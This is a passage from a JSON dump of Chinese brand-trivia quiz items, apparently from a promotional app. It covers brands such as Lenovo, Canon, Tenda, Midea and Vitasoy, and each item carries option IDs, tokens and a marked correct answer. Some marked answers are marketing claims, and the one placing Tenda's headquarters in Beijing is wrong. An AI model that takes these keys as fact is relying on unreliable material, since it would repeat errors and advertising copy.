04:39:23","status":"1"},{"questionId":"4901451175","questionIndex":"2","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LnFKOo3ieogFLos\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8L_QxIaiFrNoaEy8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjj8I8fMOn5fnfwWzHrH0F5GoY4gF-4dBEP8Q7E7-yH3xj0oQOBsvenqTWaEI8i-H_cEzUUP8Ga59Fzh_RkKXsA","correct":"{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451176","questionIndex":"1","questionStem":"外交官品牌诞生于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LmdSMiVhb08DlsRu\",\"optionDesc\":\"1961\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LwYHVIG5C6KxEQVc\",\"optionDesc\":\"1991\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}]","questionToken":"L80Sx0BWjj8I8vMNn5fnfzl0AVte80cpVgHspUwOvpo-rJfz62OCJ4c_kMmKqe6ybwsI1-OQ-UgqiSLO0sOM_V9A7l_qcw","correct":"{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"4901451177","questionIndex":"4","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LnxfRoh6nYd3r-6X\",\"optionDesc\":\"30\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8Ly_B2_0z5KVShjtk\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}]","questionToken":"L80Sx0BWjj8I8_MIn5fnf5HMEM6IJtWCJj8qLUeU38SvZGPV_fe-kS2syZwJrzD4XmbdNB-xkQbf5y47W6lPkX-IiGaESQ","correct":"{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451178","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8Lj5eeZvPc8zLHKc\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8L90_vD1Ds68MC7g\",\"optionDesc\":\"40\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}]","questionToken":"L80Sx0BWjj8I_PMNn5fneDed_TK-rAG6U7nAHkGdgyK-kqjbt4NNffUHGNua54WrywtxHtJWHAv1PjTYIjqmXjbRPJ-C-g","correct":"{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451179","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LkVThbtNYg-VBAyrMg\",\"optionDesc\":\"动物奶\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8L5EevwUbZfY-gLA0Yw\",\"optionDesc\":\"固态奶\"}]","questionToken":"L80Sx0BWjj8I_fMOn5fneFunLncrwU4UWaNTaBSspGYG0crYL-4kAKGF-Ooo3EFvgvcuyfLKk0ExVfk6ckgntXL3TPUDlQ","correct":"{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"4901451180","questionIndex":"3","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8L4fg80RbUoSpPF0\",\"optionDesc\":\"红枣\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LkDXJABS4c8qdX8\",\"optionDesc\":\"花生\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}]","questionToken":"L80Sx0BWjj8H9PMPn5fnf-nXrPHXnSpaKgdEfoKDkZ0gTM6geVgheLM6Uzi-S58b7KDI8ox-v_rBAq26QOLFn3eHCPDrPg","correct":"{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"4901451181","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LolLgMZZMVZ-hlF-\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8L0gxBOjarCf5uSxL\",\"optionDesc\":\"四川\"}]","questionToken":"L80Sx0BWjj8H9fMOn5fnf9k59z6D9modw7Qu9mtUwX3VDyg_6qdJ-RRlbKEZG0Y93p1s-9a_VxxB-J2jJsQ3QnISdj89QQ","correct":"{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"}","create_time":"27/1/2021 04:48:59","update_time":"27/1/2021 04:48:59","status":"1"},{"questionId":"4901451182","questionIndex":"2","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8L4BAyphFahC4NI3R\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8Lli35zYOPlZsxA2A\",\"optionDesc\":\"黄色\"}]","questionToken":"L80Sx0BWjj8H9vMOn5fnf3WvRAgJiN52hiFL8WJqm13-G5CVCLLWNfvoL-YwAdFS-WslGxvpRxiNIoH_Gibj86qe9WukCA","correct":"{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:50:40","update_time":"27/1/2021 04:50:40","status":"1"},{"questionId":"4901451183","questionIndex":"2","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8L6bGYP7F3LAG3HCn\",\"optionDesc\":\"计算机\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8Lp-9iuohiN-psc64\",\"optionDesc\":\"加湿器\"}]","questionToken":"L80Sx0BWjj8H9_MOn5fnfxx1ipkqyHfp3ddF9UpnfYgi_qurZOcJ00cXXt01yYqc1Wp3PbqiuD-9HZbGFfepwuDQY-RMYg","correct":"{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"4901451184","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LoelyPF70uI1yl8\",\"optionDesc\":\"运动员\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8L7pUS0vFaWlfrZE\",\"optionDesc\":\"艺术家\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}]","questionToken":"L80Sx0BWjj8H8PMPn5fnf2ibQCUCMMUCBI7g_v8Ut_SXBGgj1wGmpX7a2wH4Tjg29YEFtsTdneCzEc9si6IpA9z3Hg9zaA","correct":"{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"4901451185","questionIndex":"4","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8L-Oq1M-tjOyIhJa6\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LkQbrpprnlc4YBEF\",\"optionDesc\":\"不是\"}]","questionToken":"L80Sx0BWjj8H8fMIn5fnf_AQA8Xy8LTfQ3cktDhmtRYllr5CSwZFZ3rNiM0vjeaBNn7WotgoVtzh26dXGZVP8p5HLkmIPw","correct":"{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"4901451186","questionIndex":"4","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8L12OT3c0hP7Freun\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LgC0F9EeoYIXhy3d\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8H8vMIn5fneFA67XzFD1r-cHqNUjqF7iMSEOGQ020ciWlpWH4Of3CkxdMl_FTyAK-guInYWXnuUPn95NDw_g","correct":"{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"4901451187","questionIndex":"2","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LwzJ3b3t62UFEw\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8Lgn8d1WHAwiTjA\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"L80Sx0BWjj8H8_MOn5fnf78l5VjjkUz_daeTcdEjlM4JUJq6y82Vv4Sn5Mj4ANEL4rGXErMe9v0bTZBwAhbCkRICeS56hg","correct":"{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"}","create_time":"27/1/2021 04:41:16","update_time":"27/1/2021 04:41:16","status":"1"},{"questionId":"4901451188","questionIndex":"3","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8L-2d3F0Ka6m8wtc4\",\"optionDesc\":\"服装\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8Li5HMIU2UZXDG0Ee\",\"optionDesc\":\"生鲜\"}]","questionToken":"L80Sx0BWjj8H_PMPn5fneEloJCC51GbJRQXdpGzRmetk1TTyASzlvqr4HtR6KwICyMGPVgYKv0JvSJw2KPyFNgDOS0cdGQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"}","create_time":"27/1/2021 04:41:49","update_time":"27/1/2021 04:41:49","status":"1"},{"questionId":"4901451189","questionIndex":"1","questionStem":"港荣工厂总部在哪里啊?","options":"[{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LxU-CJ8W0BTXyGI\",\"optionDesc\":\"湖北武汉\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8Lob1TWXRi9NrOaQ\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}]","questionToken":"L80Sx0BWjj8H_fMNn5fneLt_DsI_UM2y58qWKUBp_PAyktaPFNCpaJK3ecqrLWr3SHY7v3FNNJ6jghMI9-1smXGTMpqgmQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}","create_time":"27/1/2021 04:36:58","update_time":"27/1/2021 04:36:58","status":"1"},{"questionId":"4901451190","questionIndex":"1","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8L3hnZCq6AREgz6It\",\"optionDesc\":\"1991年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LsbzM6KNm-sEx2bT\",\"optionDesc\":\"1992年\"}]","questionToken":"L80Sx0BWjj8G9PMNn5fneEB1koQi6rVNfgRlW5bOCy-CIBi4sn4hp0GnA9a4dL_d-F0XJ8AZGtgTTtKo-_jGjo1TqsDSqQ","correct":"{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"}","create_time":"27/1/2021 04:41:46","update_time":"27/1/2021 04:41:46","status":"1"},{"questionId":"4901451191","questionIndex":"2","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LzTHGrFwIYvukFoQbA\",\"optionDesc\":\"2018\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LhhLzit_ZwtdcQzb6A\",\"optionDesc\":\"2008\"}]","questionToken":"L80Sx0BWjj8G9fMOn5fnf99nF746mRL69JLD2l5wSiD5oK8lO1Vfx035YgYAga5xyrxYac6t185O6UrI5XhUQa7yN_soRA","correct":"{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"4901451192","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8Lugd714AJaHSyvK9uw\",\"optionDesc\":\"中日\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8L7F9sNAHmkfwhxJ5rg\",\"optionDesc\":\"中法\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}]","questionToken":"L80Sx0BWjj8G9vMJn5fnf8ppZjBE22qm533YgPlOMhBoMcPG3NmUNUY91_tJzGMuehqbRkit0cZYiNnszuM5vtqQc1JX8Q","correct":"{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}","create_time":"27/1/2021 04:35:47","update_time":"27/1/2021 04:35:47","status":"1"},{"questionId":"4901451193","questionIndex":"3","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LqploV3_36s9StgRLg\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LzEsswLhtgOxvCqV4w\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"L80Sx0BWjj8G9_MPn5fnfz9LX2wfDFML1YyYnbqyL4mgDv0bDI41TyJp89ccxkAmhO8Q4WjvV3Nymy0drAgBUFbpBV1OmA","correct":"{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"4901451194","questionIndex":"1","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8Ls5RXugwxIC-A9jz\",\"optionDesc\":\"3款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8L-QfvvYLaOLzhvSy\",\"optionDesc\":\"5款\"}]","questionToken":"L80Sx0BWjj8G8PMNn5fneMPzvnh5AyXiNFpfgr4WQw6rtIXXMMb6UQu1C04fE8l5IqKTbh3N-XLDXdkRP7cRNlPsv94qyw","correct":"{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"4901451195","questionIndex":"5","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8L2ZtP153rIe_hc81\",\"optionDesc\":\"高通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LmZhafM-kBRvWFgJ\",\"optionDesc\":\"博通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}]","questionToken":"L80Sx0BWjj8G8fMJn5fnf8MuoVP0jgVSyld_1RtcruRLik1u46t_EGtVrsLiBIXXqXzsaPyvqT2ptxTSHpqjh-WihHn77A","correct":"{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}","create_time":"27/1/2021 04:55:08","update_time":"27/1/2021 04:55:08","status":"1"},{"questionId":"4901451196","questionIndex":"4","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8L4oAR4mysoiamUA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LmtqOzoibzfUKgA\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8G8vMIn5fnfwQHrRmaAKWrZZvn-VTfTMEVhNrl72CQ-yjt-3pBFN6TfFK0J8bPggAgIEFckvt4EiFMCSOquA","correct":"{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451197","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8L4uLO9eQOFd6Agg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8LtpIxPqUZ0h_m4M\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8G8_MPn5fneO6RVlRMhOUUjokh54_T4KgvhXeSg2hu3crkHDH4SR1iKeNNgFjehB21-q2cYmaKz_-EYHVFMQ","correct":"{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451198","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8L3JDjmxPNyhTWvWJ\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LohzDZINRyo96Wyq\",\"optionDesc\":\"20岁以下\"}]","questionToken":"L80Sx0BWjj8G_PMJn5fnf9aFhPSoYixWV5sH0PWbIDzjU6gxI-tzpfeh2KIN5cBeFTYv4ysTv6gbOhNS286omy3KKKTxYw","correct":"{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"27/1/2021 04:41:09","update_time":"27/1/2021 04:41:09","status":"1"},{"questionId":"4901451199","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8LmVcHbg-Vh84d6t2sQ\",\"optionDesc\":\"2017年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8L7aWHw485PsQ7I5uTQ\",\"optionDesc\":\"1957年\"}]","questionToken":"L80Sx0BWjj8G_fMOn5fneAOjtJpTKm0iMRooTX0Miusu3Qz-T6MyosSvALFj2p0IGxAdPXZGixXeVL6hJaPyr6W1vn2C_Q","correct":"{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"}","create_time":"27/1/2021 03:40:07","update_time":"27/1/2021 03:40:07","status":"1"},{"questionId":"4901451200","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2jBJtf8Mt7uvtF8A\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ281S1qOG1fOKizYw\",\"optionDesc\":\"联想\"}]","questionToken":"L80Sx0BWjjwcI4hQJ7iLjJYfWH_KnHrMGMuWFKiF_JGHyrijm6r8cy7KwxKJR8LS1XIsgmuJ21zVGrM9uu3yrBYn1Wm4xA","correct":"{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"4901451201","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ25MKyxCbxZ7N2-AC\",\"optionDesc\":\"1995年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2lbBtjs5FLIcY0Bk\",\"optionDesc\":\"2000年\"}]","questionToken":"L80Sx0BWjjwcIohXJ7iLjJtesi-ZCb179kBhPfwfNidYeyc8_tLqlZtq2ZIn4GWh1UzFQrhOAplizZjytBzw0Zq34YvqUg","correct":"{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451202","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2kUctgBBKnAB04jH\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ270qKM5jgzTbbfjk\",\"optionDesc\":\"联想YOGA\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}]","questionToken":"L80Sx0BWjjwcIYhRJ7iLjDSvbYWpE4hMAg6vz3AE3UguYaeGGifoHsr6AZyAT5gQgBEveGx_oLHDKb6TPWdZQ1YTHJ8XKA","correct":"{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}","create_time":"27/1/2021 04:48:09","update_time":"27/1/2021 04:48:09","status":"1"},{"questionId":"4901451203","questionIndex":"3","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2j_I0Bm6yUbBCyRapA\",\"optionDesc\":\"1921\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ22iAwAT0-ny7NgHs2A\",\"optionDesc\":\"2077\"}]","questionToken":"L80Sx0BWjjwcIIhQJ7iLjPFhMwRTo_hULi0hgxf5Lg60LaJql4dgSb4BDEE_8Q915UjguTu6Xd-p64hFW7vECtmsOJcEzQ","correct":"{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"}","create_time":"27/1/2021 04:47:39","update_time":"27/1/2021 04:47:39","status":"1"},{"questionId":"4901451204","questionIndex":"5","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ25FnXWhUVztSipQ\",\"optionDesc\":\"盲盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2p1nlnn_--yYrJ4\",\"optionDesc\":\"铅笔盒\"}]","questionToken":"L80Sx0BWjjwcJ4hWJ7iLi04QDZrptR1gBg2JpxX53U87XA0zxG4iYEBKj-HsMJfeWXj7xUr9g_zcqq6R4_XNADw-Ou56WA","correct":"{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"27/1/2021 04:36:50","update_time":"27/1/2021 04:36:50","status":"1"},{"questionId":"4901451205","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2nSPigZ05SK1SxZFbw\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ29SUApU8szTRGszm_Q\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjjwcJohQJ7iLjGSIY0AjkAwOtQlKtgmmLqinC4R4gY0PIwySUx_DYcje1V-CbroLSrfMVBN4GC-VmpSiD-APmw","correct":"{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"4901451530","questionIndex":"1","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5mDwbvYyoU3YR6YD\",\"optionDesc\":\"1976年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5zPXyvAeDoEzE-0Z\",\"optionDesc\":\"1986年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}]","questionToken":"L80Sx0BWjju0bG04feYpsZ-ddHWN3r2Zb8SYKR7zWJcArFBWy-1zTQDjK2zc2P_IcgRbWKgcel3wWzKImVVNE4p4S5dXQw","correct":"{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}","create_time":"27/1/2021 04:42:09","update_time":"27/1/2021 04:42:09","status":"1"},{"questionId":"4901451532","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5iI3IEo-ZMkirCE\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5-OI5wreSSBsrTI\",\"optionDesc\":\"方洪波\"}]","questionToken":"L80Sx0BWjju0bm04feYpsYo24Hqc_ufE1i7w9Koq36-JJe5ug3JvIyORkykp43alhlW_6-XMnFMJ3PL6z11eGRLuzJX4zQ","correct":"{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 